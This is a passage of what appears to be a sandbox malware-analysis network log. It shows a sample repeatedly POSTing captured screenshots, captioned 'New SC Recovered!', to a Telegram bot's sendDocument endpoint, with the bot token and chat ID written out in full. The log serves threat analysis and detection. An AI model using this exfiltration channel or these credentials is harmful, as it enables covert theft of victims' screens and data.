b0 2a 3f 96 7f 2c 57 ce 55 Data Ascii: J(@(E(i(QEJ(OZJ?:(%-!(<[+\?O?\|mw}vQY.od5&ga?!3SG3EWQE^<?_P)?+??=<PvhLtoqZKXf=^{_%fxWn*?,WU
2024-05-17 23:39:29 UTC	6381	OUT	Data Raw: 82 79 fd 15 e8 1e 44 3f f3 c9 3f ef 91 47 91 0f fc f2 4f fb e4 51 f5 ff 00 ee fe 3f f0 03 fb 23 fb ff 00 87 fc 13 cf e8 af 40 f2 21 ff 00 9e 49 ff 00 7c 8a 3c 88 7f e7 92 7f df 22 8f af ff 00 77 f1 ff 00 80 1f d9 1f df fc 3f e0 9e 7f 45 7a 07 91 0f fc f2 4f fb e4 51 e4 43 ff 00 3c 93 fe f9 14 7d 7f fb bf 8f fc 00 fe c8 fe ff 00 e1 ff 00 04 f3 fa 2b d0 3c 88 7f e7 92 7f df 22 8f 22 1f f9 e4 9f f7 c8 a3 eb ff 00 dd fc 7f e0 07 f6 47 f7 ff 00 0f f8 27 9f d1 5e 81 e4 43 ff 00 3c 93 fe f9 14 79 10 ff 00 cf 24 ff 00 be 45 1f 5f fe ef e3 ff 00 00 3f b2 3f bf f8 7f c1 3c fe 8a f4 0f 22 1f f9 e4 9f f7 c8 a3 c8 87 fe 79 27 fd f2 28 fa ff 00 f7 7f 1f f8 01 fd 93 fd ff 00 c3 fe 09 e7 f4 57 a0 79 10 ff 00 cf 24 ff 00 be 45 1e 44 3f f3 c9 3f ef 91 47 d7 ff 00 bb f8 ff Data Ascii: yD??GOQ?#@!I\|<"w?EzOQC<}+<""G'^C<y$E_??<"y'(Wy$ED??G
2024-05-17 23:39:29 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 63 32 39 65 33 30 63 31 61 63 32 66 2d 2d 0d 0a Data Ascii: -----------------------------8dcc29e30c1ac2f--

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49753	149.154.167.220	443	6768	C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-17 23:39:30 UTC	262	OUT	POST /bot6937426667:AAH5h4aXvUjmlMFV8im9A9lKn7JS7MyNHLA/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dcc6683c0d1efd Host: api.telegram.org Content-Length: 67000 Expect: 100-continue Connection: Keep-Alive
2024-05-17 23:39:30 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 63 36 36 38 33 63 30 64 31 65 66 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 31 31 36 35 31 32 38 34 38 32 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 63 36 36 38 33 63 30 64 31 65 66 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 38 2f 32 37 2f 32 30 32 34 20 30 37 3a 30 36 3a 35 33 0a 55 73 65 72 Data Ascii: -----------------------------8dcc6683c0d1efdContent-Disposition: form-data; name="chat_id"1165128482-----------------------------8dcc6683c0d1efdContent-Disposition: form-data; name="caption"New SC Recovered!Time: 08/27/2024 07:06:53User
2024-05-17 23:39:30 UTC	16355	OUT	Data Raw: f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 72 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 a5 87 9c 7c ca 14 54 b3 5b cd 07 fa d8 d9 41 e8 48 e0 fd 0d 45 5b 26 9e c6 2d 35 a3 0a 4a 5a 28 10 Data Ascii: br$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFrhU9oM4UofORx?"\|T[AHE[&-5JZ(
2024-05-17 23:39:30 UTC	16355	OUT	Data Raw: 5a bd 8e fa f2 e1 21 b2 92 79 0e d4 52 39 c6 7b 8f 4a a1 7b aa 59 4f a5 5c a2 5c a3 3b 46 40 1c 82 78 f7 ae 50 4f 32 c2 d0 89 5b ca 6e a9 9e 0f e1 51 d5 c3 02 93 bb 63 a9 99 ca 4a d1 8e 96 0a 28 a2 bd 03 c9 0a 28 a2 80 12 ba 3f 0a 4f 0c 31 dd 79 b3 47 1e 4a e3 7b 01 9e be b5 ce 51 58 d7 a5 ed 61 cb 7b 1d 38 6a fe c2 a7 3d ae 7a 17 db ec ff 00 e7 f2 0f fb fa bf e3 49 f6 fb 2f f9 fc b7 ff 00 bf ab fe 35 e7 d4 57 17 f6 7f f7 bf 0f f8 27 a3 fd ad fd cf c7 fe 01 e8 3f 6f b2 ff 00 9f cb 7f fb fa bf e3 5c 7e bf 24 72 eb 13 bc 4e ae 87 6e 19 4e 41 f9 47 7a ce a2 b6 a1 84 f6 53 e6 e6 b9 cf 89 c7 fb 78 72 72 db e7 ff 00 00 28 a2 8a ed 3c e0 a2 8a 28 03 4b c3 9f f2 1d b6 ff 00 81 7f e8 26 bb aa f3 3a 4c 0f 4a e0 c4 61 25 56 7c c9 9e a6 17 1d 1a 14 f9 1a b9 e9 b4 57 Data Ascii: Z!yR9{J{YO\\;F@xPO2[nQcJ((?O1yGJ{QXa{8j=zI/5W'?o\~$rNnNAGzSxrr(<(K&:LJa%V\|W
2024-05-17 23:39:30 UTC	16355	OUT	Data Raw: 60 8d 0b 0d c7 79 1c 81 d7 d3 f2 ae 6a ee 4a ce 3e 87 b5 80 49 d3 d4 a8 de 1d b6 8b 56 d4 a1 96 59 7e c9 6b 6f e7 23 86 1b 9b 80 47 38 fa f6 ed 5a 9e 0c b8 16 de 1f 95 d9 e1 50 6e 88 cc d2 6c 1f 71 7b e0 f3 55 b5 0d 4e d1 fc 22 b2 24 d1 9b db 88 a2 b7 91 03 8d c0 21 3c 91 d7 9e 7f 31 53 78 44 ce 3c 39 2f 90 2e 4b 7d ac e7 ec fe 5e ec 6c 5f f9 e9 c6 3f 5a e4 a8 e5 2a 6f 9f ba 47 7c 52 53 f7 4d ef ed 68 ff 00 e7 be 9f ff 00 81 9f fd 8d 62 78 b3 fe 42 b1 ff 00 d7 05 ff 00 d0 9a b4 b7 6a 5f dc d6 3f f2 4e b3 7c 59 ff 00 21 58 ff 00 eb 82 ff 00 e8 4d 59 61 d2 55 a3 6f 3f c8 cf 1b 7f ab 4e fe 5f 9a 31 28 a2 8a f6 4f 9a 0a 28 a2 80 0a 28 a2 81 85 14 51 40 05 14 51 40 09 45 2d 14 00 94 52 d1 40 09 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 02 51 4b Data Ascii: `yjJ>IVY~ko#G8ZPnlq{UN"$!<1SxD<9/.K}^l_?Z*oG\|RSMhbxBj_?N\|Y!XMYaUo?N_1(O((Q@Q@E-R@EPEPEPEPEPQK
2024-05-17 23:39:30 UTC	15447	OUT	Data Raw: 02 8a 28 a0 02 8a 28 a0 04 a2 8a 28 18 52 52 d2 50 01 45 14 50 30 a2 8a 28 01 28 a2 8a 00 28 a2 8a 06 14 86 97 b5 25 00 14 51 45 00 25 14 51 40 c2 92 96 92 80 0a 28 a2 80 12 8a 5a 4a 06 14 51 45 00 14 94 51 4c 61 45 14 50 02 51 46 69 33 40 c5 a4 a4 a2 80 b0 67 da 93 34 51 40 c2 92 96 92 80 0a 4a 5a 4a 06 14 51 45 03 0a 4a 28 a0 02 92 96 92 81 85 14 51 40 09 45 14 50 31 0d 14 51 40 05 25 2d 25 03 0a 4a 5a 4a 00 29 29 68 a0 a1 28 a2 92 80 42 d2 51 45 00 21 a2 8a 28 18 52 52 d2 50 30 a4 a2 8a 00 4a 29 69 28 18 52 52 d2 50 30 a4 a2 8a 00 29 29 68 a0 62 51 45 14 0c 29 28 a4 a0 05 a4 a2 8a 06 1c 51 49 45 00 14 51 45 03 12 8a 28 a0 62 51 45 14 00 51 45 25 31 87 f3 a2 8f ca 83 48 62 1e 39 a2 8a 29 80 9f 8d 1c 51 45 03 0a 4e 29 69 38 a4 01 ef 47 d2 8a 29 80 94 be Data Ascii: (((RRPEP0(((%QE%Q@(ZJQEQLaEPQFi3@g4Q@JZJQEJ(Q@EP1Q@%-%JZJ))h(BQE!(RRP0J)i(RRP0))hbQE)(QIEQE(bQEQE%1Hb9)QEN)i8G)
2024-05-17 23:39:30 UTC	1414	OUT	Data Raw: 00 10 f4 a0 0f 9f 68 a2 8a d4 c0 db d3 3c 49 3d 9d 8f d8 2e 6d 60 bf b3 ce e5 86 e1 72 14 fa 83 db f0 a3 53 f1 24 f7 96 3f 60 b6 b5 82 c2 cf 3b 9a 1b 75 c0 63 ea 4f 7f c6 b1 29 28 b0 5c 28 a2 8a 60 14 51 45 00 6b dc f8 9f 5c b8 ba 96 7f ed 5b c8 bc c7 2f e5 c5 70 ea 8b 93 9c 28 cf 00 76 a8 e5 d7 2f a7 9e 19 ee 24 f3 e6 8a da 4b 6f 32 52 cc cc ae 1c 12 49 3c 90 24 38 fa 0a cc a2 90 5c 28 a2 8a 00 28 a2 8a 60 75 d3 78 c6 2b 98 e2 49 6d 1e 3f 2d 70 0a b0 6c ff 00 2c 74 a9 26 f1 b4 33 c5 e5 36 9a 62 07 ab ac 81 8f e5 81 fc eb 8d a2 b2 54 a0 94 12 5f 0e ab 7e f7 1b 93 6e 4f f9 b7 3a 2d 63 c4 ab a8 e9 0b a7 25 b3 2a ab 86 f3 19 b9 38 cf 6c 7b fa d7 3b 45 15 51 8a 8d ed d5 dc 1b 6e c9 f4 0a 28 a2 a8 46 f6 95 ab 20 89 60 9d b6 32 f0 ad ea 2b ae d3 75 3b bb 86 da Data Ascii: h<I=.m`rS$?`;ucO)(\(`QEk\[/p(v/$Ko2RI<$8\((`ux+Im?-pl,t&36bT_~nO:-c%*8l{;EQn(F `2+u;
2024-05-17 23:39:30 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 63 36 36 38 33 63 30 64 31 65 66 64 2d 2d 0d 0a Data Ascii: -----------------------------8dcc6683c0d1efd--
2024-05-17 23:39:30 UTC	25	IN	HTTP/1.1 100 Continue
2024-05-17 23:39:31 UTC	402	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Fri, 17 May 2024 23:39:31 GMT Content-Type: application/json Content-Length: 56 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":false,"error_code":400,"description":"Logged out"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49754	149.154.167.220	443	6768	C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-17 23:39:30 UTC	262	OUT	POST /bot6937426667:AAH5h4aXvUjmlMFV8im9A9lKn7JS7MyNHLA/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dcc834c9eb4802 Host: api.telegram.org Content-Length: 67000 Expect: 100-continue Connection: Keep-Alive
2024-05-17 23:39:30 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 63 38 33 34 63 39 65 62 34 38 30 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 31 31 36 35 31 32 38 34 38 32 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 63 38 33 34 63 39 65 62 34 38 30 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 38 2f 32 39 2f 32 30 32 34 20 31 34 3a 30 33 3a 34 32 0a 55 73 65 72 Data Ascii: -----------------------------8dcc834c9eb4802Content-Disposition: form-data; name="chat_id"1165128482-----------------------------8dcc834c9eb4802Content-Disposition: form-data; name="caption"New SC Recovered!Time: 08/29/2024 14:03:42User
2024-05-17 23:39:30 UTC	16355	OUT	Data Raw: f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 72 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 a5 87 9c 7c ca 14 54 b3 5b cd 07 fa d8 d9 41 e8 48 e0 fd 0d 45 5b 26 9e c6 2d 35 a3 0a 4a 5a 28 10 Data Ascii: br$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFrhU9oM4UofORx?"\|T[AHE[&-5JZ(
2024-05-17 23:39:30 UTC	16355	OUT	Data Raw: 5a bd 8e fa f2 e1 21 b2 92 79 0e d4 52 39 c6 7b 8f 4a a1 7b aa 59 4f a5 5c a2 5c a3 3b 46 40 1c 82 78 f7 ae 50 4f 32 c2 d0 89 5b ca 6e a9 9e 0f e1 51 d5 c3 02 93 bb 63 a9 99 ca 4a d1 8e 96 0a 28 a2 bd 03 c9 0a 28 a2 80 12 ba 3f 0a 4f 0c 31 dd 79 b3 47 1e 4a e3 7b 01 9e be b5 ce 51 58 d7 a5 ed 61 cb 7b 1d 38 6a fe c2 a7 3d ae 7a 17 db ec ff 00 e7 f2 0f fb fa bf e3 49 f6 fb 2f f9 fc b7 ff 00 bf ab fe 35 e7 d4 57 17 f6 7f f7 bf 0f f8 27 a3 fd ad fd cf c7 fe 01 e8 3f 6f b2 ff 00 9f cb 7f fb fa bf e3 5c 7e bf 24 72 eb 13 bc 4e ae 87 6e 19 4e 41 f9 47 7a ce a2 b6 a1 84 f6 53 e6 e6 b9 cf 89 c7 fb 78 72 72 db e7 ff 00 00 28 a2 8a ed 3c e0 a2 8a 28 03 4b c3 9f f2 1d b6 ff 00 81 7f e8 26 bb aa f3 3a 4c 0f 4a e0 c4 61 25 56 7c c9 9e a6 17 1d 1a 14 f9 1a b9 e9 b4 57 Data Ascii: Z!yR9{J{YO\\;F@xPO2[nQcJ((?O1yGJ{QXa{8j=zI/5W'?o\~$rNnNAGzSxrr(<(K&:LJa%V\|W
2024-05-17 23:39:30 UTC	16355	OUT	Data Raw: 60 8d 0b 0d c7 79 1c 81 d7 d3 f2 ae 6a ee 4a ce 3e 87 b5 80 49 d3 d4 a8 de 1d b6 8b 56 d4 a1 96 59 7e c9 6b 6f e7 23 86 1b 9b 80 47 38 fa f6 ed 5a 9e 0c b8 16 de 1f 95 d9 e1 50 6e 88 cc d2 6c 1f 71 7b e0 f3 55 b5 0d 4e d1 fc 22 b2 24 d1 9b db 88 a2 b7 91 03 8d c0 21 3c 91 d7 9e 7f 31 53 78 44 ce 3c 39 2f 90 2e 4b 7d ac e7 ec fe 5e ec 6c 5f f9 e9 c6 3f 5a e4 a8 e5 2a 6f 9f ba 47 7c 52 53 f7 4d ef ed 68 ff 00 e7 be 9f ff 00 81 9f fd 8d 62 78 b3 fe 42 b1 ff 00 d7 05 ff 00 d0 9a b4 b7 6a 5f dc d6 3f f2 4e b3 7c 59 ff 00 21 58 ff 00 eb 82 ff 00 e8 4d 59 61 d2 55 a3 6f 3f c8 cf 1b 7f ab 4e fe 5f 9a 31 28 a2 8a f6 4f 9a 0a 28 a2 80 0a 28 a2 81 85 14 51 40 05 14 51 40 09 45 2d 14 00 94 52 d1 40 09 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 02 51 4b Data Ascii: `yjJ>IVY~ko#G8ZPnlq{UN"$!<1SxD<9/.K}^l_?Z*oG\|RSMhbxBj_?N\|Y!XMYaUo?N_1(O((Q@Q@E-R@EPEPEPEPEPQK
2024-05-17 23:39:30 UTC	15447	OUT	Data Raw: 02 8a 28 a0 02 8a 28 a0 04 a2 8a 28 18 52 52 d2 50 01 45 14 50 30 a2 8a 28 01 28 a2 8a 00 28 a2 8a 06 14 86 97 b5 25 00 14 51 45 00 25 14 51 40 c2 92 96 92 80 0a 28 a2 80 12 8a 5a 4a 06 14 51 45 00 14 94 51 4c 61 45 14 50 02 51 46 69 33 40 c5 a4 a4 a2 80 b0 67 da 93 34 51 40 c2 92 96 92 80 0a 4a 5a 4a 06 14 51 45 03 0a 4a 28 a0 02 92 96 92 81 85 14 51 40 09 45 14 50 31 0d 14 51 40 05 25 2d 25 03 0a 4a 5a 4a 00 29 29 68 a0 a1 28 a2 92 80 42 d2 51 45 00 21 a2 8a 28 18 52 52 d2 50 30 a4 a2 8a 00 4a 29 69 28 18 52 52 d2 50 30 a4 a2 8a 00 29 29 68 a0 62 51 45 14 0c 29 28 a4 a0 05 a4 a2 8a 06 1c 51 49 45 00 14 51 45 03 12 8a 28 a0 62 51 45 14 00 51 45 25 31 87 f3 a2 8f ca 83 48 62 1e 39 a2 8a 29 80 9f 8d 1c 51 45 03 0a 4e 29 69 38 a4 01 ef 47 d2 8a 29 80 94 be Data Ascii: (((RRPEP0(((%QE%Q@(ZJQEQLaEPQFi3@g4Q@JZJQEJ(Q@EP1Q@%-%JZJ))h(BQE!(RRP0J)i(RRP0))hbQE)(QIEQE(bQEQE%1Hb9)QEN)i8G)
2024-05-17 23:39:30 UTC	1414	OUT	Data Raw: 00 10 f4 a0 0f 9f 68 a2 8a d4 c0 db d3 3c 49 3d 9d 8f d8 2e 6d 60 bf b3 ce e5 86 e1 72 14 fa 83 db f0 a3 53 f1 24 f7 96 3f 60 b6 b5 82 c2 cf 3b 9a 1b 75 c0 63 ea 4f 7f c6 b1 29 28 b0 5c 28 a2 8a 60 14 51 45 00 6b dc f8 9f 5c b8 ba 96 7f ed 5b c8 bc c7 2f e5 c5 70 ea 8b 93 9c 28 cf 00 76 a8 e5 d7 2f a7 9e 19 ee 24 f3 e6 8a da 4b 6f 32 52 cc cc ae 1c 12 49 3c 90 24 38 fa 0a cc a2 90 5c 28 a2 8a 00 28 a2 8a 60 75 d3 78 c6 2b 98 e2 49 6d 1e 3f 2d 70 0a b0 6c ff 00 2c 74 a9 26 f1 b4 33 c5 e5 36 9a 62 07 ab ac 81 8f e5 81 fc eb 8d a2 b2 54 a0 94 12 5f 0e ab 7e f7 1b 93 6e 4f f9 b7 3a 2d 63 c4 ab a8 e9 0b a7 25 b3 2a ab 86 f3 19 b9 38 cf 6c 7b fa d7 3b 45 15 51 8a 8d ed d5 dc 1b 6e c9 f4 0a 28 a2 a8 46 f6 95 ab 20 89 60 9d b6 32 f0 ad ea 2b ae d3 75 3b bb 86 da Data Ascii: h<I=.m`rS$?`;ucO)(\(`QEk\[/p(v/$Ko2RI<$8\((`ux+Im?-pl,t&36bT_~nO:-c%*8l{;EQn(F `2+u;
2024-05-17 23:39:30 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 63 38 33 34 63 39 65 62 34 38 30 32 2d 2d 0d 0a Data Ascii: -----------------------------8dcc834c9eb4802--
2024-05-17 23:39:31 UTC	25	IN	HTTP/1.1 100 Continue
2024-05-17 23:39:31 UTC	402	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Fri, 17 May 2024 23:39:31 GMT Content-Type: application/json Content-Length: 56 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":false,"error_code":400,"description":"Logged out"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49755	149.154.167.220	443	6768	C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-17 23:39:41 UTC	238	OUT	POST /bot6937426667:AAH5h4aXvUjmlMFV8im9A9lKn7JS7MyNHLA/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dccd9f9e07d58a Host: api.telegram.org Content-Length: 67000 Expect: 100-continue
2024-05-17 23:39:41 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 63 64 39 66 39 65 30 37 64 35 38 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 31 31 36 35 31 32 38 34 38 32 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 63 64 39 66 39 65 30 37 64 35 38 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 39 2f 30 35 2f 32 30 32 34 20 31 31 3a 33 30 3a 35 39 0a 55 73 65 72 Data Ascii: -----------------------------8dccd9f9e07d58aContent-Disposition: form-data; name="chat_id"1165128482-----------------------------8dccd9f9e07d58aContent-Disposition: form-data; name="caption"New SC Recovered!Time: 09/05/2024 11:30:59User
2024-05-17 23:39:41 UTC	16355	OUT	Data Raw: f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 72 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 a5 87 9c 7c ca 14 54 b3 5b cd 07 fa d8 d9 41 e8 48 e0 fd 0d 45 5b 26 9e c6 2d 35 a3 0a 4a 5a 28 10 Data Ascii: br$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFrhU9oM4UofORx?"\|T[AHE[&-5JZ(
2024-05-17 23:39:41 UTC	16355	OUT	Data Raw: 5a bd 8e fa f2 e1 21 b2 92 79 0e d4 52 39 c6 7b 8f 4a a1 7b aa 59 4f a5 5c a2 5c a3 3b 46 40 1c 82 78 f7 ae 50 4f 32 c2 d0 89 5b ca 6e a9 9e 0f e1 51 d5 c3 02 93 bb 63 a9 99 ca 4a d1 8e 96 0a 28 a2 bd 03 c9 0a 28 a2 80 12 ba 3f 0a 4f 0c 31 dd 79 b3 47 1e 4a e3 7b 01 9e be b5 ce 51 58 d7 a5 ed 61 cb 7b 1d 38 6a fe c2 a7 3d ae 7a 17 db ec ff 00 e7 f2 0f fb fa bf e3 49 f6 fb 2f f9 fc b7 ff 00 bf ab fe 35 e7 d4 57 17 f6 7f f7 bf 0f f8 27 a3 fd ad fd cf c7 fe 01 e8 3f 6f b2 ff 00 9f cb 7f fb fa bf e3 5c 7e bf 24 72 eb 13 bc 4e ae 87 6e 19 4e 41 f9 47 7a ce a2 b6 a1 84 f6 53 e6 e6 b9 cf 89 c7 fb 78 72 72 db e7 ff 00 00 28 a2 8a ed 3c e0 a2 8a 28 03 4b c3 9f f2 1d b6 ff 00 81 7f e8 26 bb aa f3 3a 4c 0f 4a e0 c4 61 25 56 7c c9 9e a6 17 1d 1a 14 f9 1a b9 e9 b4 57 Data Ascii: Z!yR9{J{YO\\;F@xPO2[nQcJ((?O1yGJ{QXa{8j=zI/5W'?o\~$rNnNAGzSxrr(<(K&:LJa%V\|W
2024-05-17 23:39:41 UTC	16355	OUT	Data Raw: 60 8d 0b 0d c7 79 1c 81 d7 d3 f2 ae 6a ee 4a ce 3e 87 b5 80 49 d3 d4 a8 de 1d b6 8b 56 d4 a1 96 59 7e c9 6b 6f e7 23 86 1b 9b 80 47 38 fa f6 ed 5a 9e 0c b8 16 de 1f 95 d9 e1 50 6e 88 cc d2 6c 1f 71 7b e0 f3 55 b5 0d 4e d1 fc 22 b2 24 d1 9b db 88 a2 b7 91 03 8d c0 21 3c 91 d7 9e 7f 31 53 78 44 ce 3c 39 2f 90 2e 4b 7d ac e7 ec fe 5e ec 6c 5f f9 e9 c6 3f 5a e4 a8 e5 2a 6f 9f ba 47 7c 52 53 f7 4d ef ed 68 ff 00 e7 be 9f ff 00 81 9f fd 8d 62 78 b3 fe 42 b1 ff 00 d7 05 ff 00 d0 9a b4 b7 6a 5f dc d6 3f f2 4e b3 7c 59 ff 00 21 58 ff 00 eb 82 ff 00 e8 4d 59 61 d2 55 a3 6f 3f c8 cf 1b 7f ab 4e fe 5f 9a 31 28 a2 8a f6 4f 9a 0a 28 a2 80 0a 28 a2 81 85 14 51 40 05 14 51 40 09 45 2d 14 00 94 52 d1 40 09 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 02 51 4b Data Ascii: `yjJ>IVY~ko#G8ZPnlq{UN"$!<1SxD<9/.K}^l_?Z*oG\|RSMhbxBj_?N\|Y!XMYaUo?N_1(O((Q@Q@E-R@EPEPEPEPEPQK
